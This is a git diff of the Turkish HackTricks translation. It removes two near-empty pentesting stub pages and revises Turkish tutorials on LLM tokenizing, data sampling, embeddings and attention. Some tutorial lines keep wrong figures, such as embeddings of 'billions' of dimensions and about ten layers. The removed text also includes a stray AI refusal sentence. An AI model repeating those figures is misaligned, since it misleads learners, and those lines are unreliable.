diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md deleted file mode 100644 index bf5fe9912..000000000 --- a/src/1911-pentesting-fox.md +++ /dev/null @@ -1,29 +0,0 @@ -# 1911 - Pentesting fox - -{{#include ./banners/hacktricks-training.md}} - -Ve daha fazla hizmet: - -ubiquiti-discover udp "Ubiquiti Networks Cihazı" - -dht udp "DHT Düğümleri" - -5060 udp sip "SIP/" - -![]() - -![]() - -InfluxDB - -![]() - -![]() - -![]() - -![]() - -![]() - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/6881-udp-pentesting-bittorrent.md b/src/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index 070c6aef8..000000000 --- a/src/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 7e3b1acbb..efbd807ff 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,8 +1,10 @@ # 0. Temel LLM Kavramları +{{#include /banners/hacktricks-training.md}} + ## Ön Eğitim -Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır. +Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlam açısından ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır. ## Ana LLM Bileşenleri @@ -13,7 +15,7 @@ Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakteriz - **Gömme Boyutu**: Her token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır. - **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu. - **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır. -- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır. +- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır. - **Dropout**: Dropout, eğitim sırasında verilerin kaldırılan yüzdesi gibidir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır. GPT-2 modelinin yapılandırması: @@ -30,7 +32,7 @@ GPT_CONFIG_124M = { ``` ## PyTorch'ta Tensörler -PyTorch'ta, bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur. +PyTorch'ta, bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, verilerin temsil edilmesi ve işlenmesi için birincil yoldur. ### Tensörlerin Matematiksel Kavramı @@ -52,7 +54,7 @@ PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısın ### PyTorch'ta Tensör Oluşturma -Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz: +Tensörleri `torch.tensor` fonksiyonunu kullanarak oluşturabilirsiniz: ```python pythonCopy codeimport torch @@ -203,7 +205,7 @@ Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplam - **İleri Geçiş:** Girdileri her katmandan geçirerek ağın çıktısını hesaplayın. - **Kayıp Hesaplama:** Ağın çıktısını ve hedef etiketleri kullanarak kayıp fonksiyonunu değerlendirin. -- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını özyinelemeli olarak uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın. +- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın. ### **2. Geri Yayılım Algoritması** @@ -268,14 +270,14 @@ Bu kodda: - **İleri Geçiş:** Ağırlığın çıktısını hesaplar. - **Geri Geçiş:** `loss.backward()` kaybın tüm parametrelere göre gradyanlarını hesaplar. -- **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayalı olarak parametreleri günceller. +- **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayanarak parametreleri günceller. ### **5. Geri Geçişi Anlamak** Geri geçiş sırasında: -- PyTorch hesaplama grafını ters sırayla dolaşır. -- Her işlem için gradyanları hesaplamak üzere zincir kuralını uygular. +- PyTorch, hesaplama grafiğini ters sırayla dolaşır. +- Her işlem için, gradyanları hesaplamak üzere zincir kuralını uygular. - Gradyanlar, her parametre tensörünün `.grad` niteliğinde birikir. ### **6. Otomatik Türev Almanın Avantajları** @@ -283,3 +285,5 @@ Geri geçiş sırasında: - **Verimlilik:** Ara sonuçları yeniden kullanarak gereksiz hesaplamalardan kaçınır. - **Doğruluk:** Makine hassasiyetine kadar tam türevler sağlar. - **Kullanım Kolaylığı:** Türevlerin manuel hesaplanmasını ortadan kaldırır. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index 8386d3db8..75c660508 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,73 +1,75 @@ # 1. Tokenizing +{{#include /banners/hacktricks-training.md}} + ## Tokenizing -**Tokenizing**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında. +**Tokenizing**, verilerin, örneğin metinlerin, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında. > [!TIP] -> Bu ilk aşamanın amacı çok basittir: **Girişi mantıklı bir şekilde token'lara (id'lere) ayırmak**. +> Bu ilk aşamanın amacı çok basittir: **Girdiyi mantıklı bir şekilde token (id) olarak bölmek**. -### **How Tokenizing Works** +### **Tokenizing Nasıl Çalışır** 1. **Metni Bölme:** - **Temel Tokenizer:** Basit bir tokenizer, metni bireysel kelimelere ve noktalama işaretlerine ayırabilir, boşlukları kaldırır. - _Örnek:_\ -Metin: `"Hello, world!"`\ -Tokenlar: `["Hello", ",", "world", "!"]` +Metin: `"Merhaba, dünya!"`\ +Tokenlar: `["Merhaba", ",", "dünya", "!"]` 2. **Bir Kelime Dağarcığı Oluşturma:** -- Token'ları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz token'ları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar. -- **Özel Tokenlar:** Çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir: +- Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar. +- **Özel Tokenlar:** Çeşitli senaryoları yönetmek için kelime dağarcığına eklenen özel sembollerdir: - `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir. - `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir. - `[PAD]` (Doldurma): Bir partideki tüm dizileri aynı uzunlukta yapmak için kullanılır. -- `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan token'ları temsil eder. +- `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan tokenları temsil eder. - _Örnek:_\ -Eğer `"Hello"` ID `64` ile atanmışsa, `","` `455`, `"world"` `78`, ve `"!"` `467` ise:\ -`"Hello, world!"` → `[64, 455, 78, 467]` -- **Bilinmeyen Kelimeleri Ele Alma:**\ -Eğer `"Bye"` gibi bir kelime kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\ -`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ -_(Varsayalım ki `[UNK]` ID `987`'dir)_ +Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!"` `467` ise:\ +`"Merhaba, dünya!"` → `[64, 455, 78, 467]` +- **Bilinmeyen Kelimeleri Yönetme:**\ +Eğer `"Hoşça kal"` kelimesi kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\ +`"Hoşça kal, dünya!"` → `["[UNK]", ",", "dünya", "!"]` → `[987, 455, 78, 467]`\ +_(Varsayılarak `[UNK]` ID `987`'dir)_ -### **Advanced Tokenizing Methods** +### **Gelişmiş Tokenizing Yöntemleri** -Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri ele alırken sınırlamaları vardır. Gelişmiş tokenizasyon yöntemleri, metni daha küçük alt birimlere ayırarak veya tokenizasyon sürecini optimize ederek bu sorunları ele alır. +Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri yönetme konusunda sınırlamaları vardır. Gelişmiş tokenizing yöntemleri, bu sorunları ele alarak metni daha küçük alt birimlere ayırır veya tokenizasyon sürecini optimize eder. 1. **Byte Pair Encoding (BPE):** -- **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır. +- **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak yönetir. - **Nasıl Çalışır:** - Token olarak bireysel karakterlerle başlar. - En sık karşılaşılan token çiftlerini tek bir token haline getirerek birleştirir. -- Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder. +- Daha fazla sık çift birleştirilemeyecek duruma gelene kadar devam eder. - **Faydalar:** -- Tüm kelimelerin mevcut alt kelime token'larını birleştirerek temsil edilebilmesi nedeniyle `[UNK]` token'ına ihtiyaç duyulmaz. +- Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz. - Daha verimli ve esnek bir kelime dağarcığı. - _Örnek:_\ -`"playing"` `["play", "ing"]` olarak token'lanabilir eğer `"play"` ve `"ing"` sıkça karşılaşılan alt kelimelerse. +`"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse. 2. **WordPiece:** - **Kullananlar:** BERT gibi modeller. -- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır. +- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri yönetmek ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır. - **Nasıl Çalışır:** - Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar. -- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi iteratif olarak ekler. +- Eğitim verilerinin olasılığını maksimize eden en sık alt kelimeyi iteratif olarak ekler. - Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır. - **Faydalar:** - Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar. -- Nadir ve bileşik kelimeleri etkili bir şekilde ele alır. +- Nadir ve bileşik kelimeleri verimli bir şekilde yönetir. - _Örnek:_\ -`"unhappiness"` `["un", "happiness"]` veya `["un", "happy", "ness"]` olarak token'lanabilir, kelime dağarcığına bağlı olarak. -3. **Unigram Language Model:** +`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde ayrılabilir, kelime dağarcığına bağlı olarak. +3. **Unigram Dil Modeli:** - **Kullananlar:** SentencePiece gibi modeller. - **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır. - **Nasıl Çalışır:** -- Potansiyel token'ların büyük bir seti ile başlar. -- Eğitim verilerinin modelin olasılığını en az artıran token'ları iteratif olarak kaldırır. +- Potansiyel tokenların büyük bir seti ile başlar. +- Eğitim verilerinin modelin olasılığını en az artıran tokenları iteratif olarak kaldırır. - Her kelimenin en olası alt kelime birimleri ile temsil edildiği bir kelime dağarcığı oluşturur. - **Faydalar:** - Esnek ve dili daha doğal bir şekilde modelleyebilir. - Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır. - _Örnek:_\ -`"internationalization"` daha küçük, anlamlı alt kelimelere `["international", "ization"]` olarak token'lanabilir. +`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir. ## Code Example @@ -93,3 +95,6 @@ print(token_ids[:50]) ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 2c280a6df..fcce2ce65 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,5 +1,7 @@ # 2. Veri Örnekleme +{{#include /banners/hacktricks-training.md}} + ## **Veri Örnekleme** **Veri Örnekleme**, GPT gibi büyük dil modellerinin (LLM'ler) eğitimi için verileri hazırlamada kritik bir süreçtir. Bu, metin verilerini modelin önceki kelimelere dayanarak bir sonraki kelimeyi (veya token'ı) tahmin etmeyi öğrenmesi için kullandığı giriş ve hedef dizilerine organize etmeyi içerir. Doğru veri örnekleme, modelin dil kalıplarını ve bağımlılıklarını etkili bir şekilde yakalamasını sağlar. @@ -15,12 +17,12 @@ GPT gibi LLM'ler, önceki kelimeler tarafından sağlanan bağlamı anlayarak me 1. **Tokenizasyon:** Metni token (örneğin, kelimeler, alt kelimeler veya karakterler) adı verilen daha küçük birimlere ayırma. 2. **Dizi Uzunluğu (max_length):** Her giriş dizisindeki token sayısı. -3. **Kaydırma Penceresi:** Tokenize edilmiş metin üzerinde bir pencereyi hareket ettirerek örtüşen giriş dizileri oluşturma yöntemi. -4. **Adım:** Kaydırma penceresinin bir sonraki diziyi oluşturmak için ileriye doğru hareket ettiği token sayısı. +3. **Kaydırmalı Pencere:** Tokenize edilmiş metin üzerinde bir pencereyi hareket ettirerek örtüşen giriş dizileri oluşturma yöntemi. +4. **Adım:** Kaydırmalı pencerenin bir sonraki diziyi oluşturmak için ileriye doğru hareket ettiği token sayısı. ### **Adım Adım Örnek** -Veri örneklemesini açıklamak için bir örnek üzerinden geçelim. +Veri örneklemeyi açıklamak için bir örnek üzerinden geçelim. **Örnek Metin** ```arduino @@ -28,25 +30,25 @@ Veri örneklemesini açıklamak için bir örnek üzerinden geçelim. ``` **Tokenizasyon** -Bir **temel tokenleştirici** kullandığımızı varsayalım, bu metni kelimelere ve noktalama işaretlerine ayırır: +Bir **temel tokenleştirici** kullandığımızı varsayalım; bu, metni kelimelere ve noktalama işaretlerine ayırır: ```vbnet Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] ``` **Parametreler** - **Maksimum Dizi Uzunluğu (max_length):** 4 token -- **Kaydırma Penceresi Adımı:** 1 token +- **Kaydırmalı Pencere Adımı:** 1 token **Girdi ve Hedef Dizileri Oluşturma** -1. **Kaydırma Penceresi Yaklaşımı:** +1. **Kaydırmalı Pencere Yaklaşımı:** - **Girdi Dizileri:** Her girdi dizisi `max_length` token içerir. - **Hedef Dizileri:** Her hedef dizisi, ilgili girdi dizisini hemen takip eden token'ları içerir. 2. **Dizileri Oluşturma:**
Pencere PozisyonuGirdi DizisiHedef Dizi
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
-3. **Elde Edilen Girdi ve Hedef Dizileri:** +3. **Sonuç Girdi ve Hedef Dizileri:** - **Girdi:** @@ -74,7 +76,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
Token PozisyonuToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
-**Adım 1 ile Kaydırma Penceresi:** +**Adım 1 ile Kaydırmalı Pencere:** - **İlk Pencere (Pozisyonlar 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Hedef:** \["ipsum", "dolor", "sit", "amet,"] - **İkinci Pencere (Pozisyonlar 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Hedef:** \["dolor", "sit", "amet,", "consectetur"] @@ -89,7 +91,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", **Adım 2 ile Örnek:** -Aynı tokenleştirilmiş metni ve `max_length` değerini 4 kullanarak: +Aynı tokenleştirilmiş metni ve `max_length` 4'ü kullanarak: - **İlk Pencere (Pozisyonlar 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Hedef:** \["ipsum", "dolor", "sit", "amet,"] - **İkinci Pencere (Pozisyonlar 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Hedef:** \["sit", "amet,", "consectetur", "adipiscing"] @@ -97,7 +99,7 @@ Aynı tokenleştirilmiş metni ve `max_length` değerini 4 kullanarak: ## Kod Örneği -Bunu daha iyi anlamak için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneğine bakalım: +Bunu [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneği ile daha iyi anlayalım: ```python # Download the text to pre-train the LLM import urllib.request @@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807], ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index aa3088d50..765f3c08e 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,21 +1,23 @@ # 3. Token Embeddings +{{#include /banners/hacktricks-training.md}} + ## Token Embeddings -Metin verilerini tokenize ettikten sonra, büyük dil modelleri (LLM'ler) gibi GPT için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü detaylandırır. +Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü ayrıntılı olarak ele alır. > [!TIP] -> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her bir token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\ -> Başlangıçta her kelimenin uzaydaki konumunun "rastgele" başlatıldığını ve bu konumların eğitilebilir parametreler olduğunu unutmayın (eğitim sırasında geliştirilecektir). +> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\ +> Başlangıçta, her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu pozisyonlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir). > -> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır. +> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı pozisyonlardaki bir kelime farklı bir temsil (anlam) alacaktır. ### **Token Embedding Nedir?** **Token Embedding'leri**, token'ların sürekli bir vektör uzayındaki sayısal temsilleridir. Sözlükteki her token, sabit boyutlarda benzersiz bir vektör ile ilişkilendirilir. Bu vektörler, token'lar hakkında anlamsal ve sözdizimsel bilgileri yakalar, böylece modelin verilerdeki ilişkileri ve kalıpları anlamasını sağlar. - **Sözlük Boyutu:** Modelin sözlüğündeki benzersiz token'ların (örneğin, kelimeler, alt kelimeler) toplam sayısı. -- **Embedding Boyutları:** Her token'in vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir. +- **Embedding Boyutları:** Her token'ın vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir. **Örnek:** @@ -61,7 +63,7 @@ tensor([[ 0.3374, -0.1778, -0.1690], token_index = torch.tensor([3]) print(embedding_layer(token_index)) ``` -I'm sorry, but I cannot provide the content you requested. +**Çıktı:** ```lua tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) ``` @@ -133,12 +135,12 @@ Token gömmeleri bireysel token'ların anlamını yakalarken, bir dizideki token ### **Pozisyonel Gömme Türleri:** 1. **Mutlak Pozisyonel Gömme:** -- Dizideki her pozisyona benzersiz bir pozisyon vektörü atar. -- **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne, ikinci token başka birine ve devam eder. +- Dizideki her pozisyona benzersiz bir konum vektörü atar. +- **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne sahiptir, ikinci token başka birine sahiptir, ve bu şekilde devam eder. - **Kullananlar:** OpenAI’nin GPT modelleri. 2. **Göreli Pozisyonel Gömme:** -- Token'lar arasındaki göreli mesafeyi kodlar, mutlak pozisyonlarını değil. -- **Örnek:** İki token'ın ne kadar uzak olduğunu belirtir, mutlak pozisyonlarına bakılmaksızın. +- Token'lar arasındaki göreli mesafeyi kodlar, mutlak konumlarını değil. +- **Örnek:** İki token'ın ne kadar uzakta olduğunu belirtir, dizideki mutlak konumlarına bakılmaksızın. - **Kullananlar:** Transformer-XL gibi modeller ve bazı BERT varyantları. ### **Pozisyonel Gömme Nasıl Entegre Edilir:** @@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## Referanslar - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 9d0486e3b..f1a67bfb7 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,8 +1,10 @@ # 4. Dikkat Mekanizmaları +{{#include /banners/hacktricks-training.md}} + ## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat -Dikkat mekanizmaları, sinir ağlarının her çıktı parçasını oluştururken girdi verisinin belirli kısımlarına odaklanmasını sağlar. Farklı girdilere farklı ağırlıklar atayarak, modelin mevcut görevle en ilgili girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir. +Dikkat mekanizmaları, sinir ağlarının **her bir çıktı parçasını oluştururken girişin belirli kısımlarına odaklanmasını** sağlar. Farklı girişlere farklı ağırlıklar atayarak, modelin mevcut görevle en ilgili girişleri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir. > [!TIP] > Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **LLM'yi eğitmek için kullanılan mevcut cümledeki bir kelimenin komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.**\ @@ -10,21 +12,21 @@ Dikkat mekanizmaları, sinir ağlarının her çıktı parçasını oluştururke ### Dikkat Mekanizmalarını Anlamak -Dil çevirisi için kullanılan geleneksel sıralı modellemelerde, model bir girdi dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı token'ını oluştururken tüm girdi token'larını dikkate almasına olanak tanıyarak bu sınırlamayı aşar. +Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı tokenini oluştururken tüm giriş tokenlerini dikkate almasına olanak tanıyarak bu sınırlamayı aşar. #### Örnek: Makine Çevirisi -Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmez. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken girdi cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır. +Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmez. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır. ### Kendine Dikkate Giriş -Kendine dikkat, ya da intra-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her token'ın diğer tüm token'lara dikkat etmesine olanak tanır ve modelin token'lar arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur. +Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her tokenin diğer tüm tokenlere dikkat etmesine olanak tanır ve modelin tokenler arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur. #### Temel Kavramlar -- **Token'lar**: Girdi dizisinin bireysel elemanları (örneğin, bir cümledeki kelimeler). -- **Gömme**: Token'ların vektör temsilleri, anlamsal 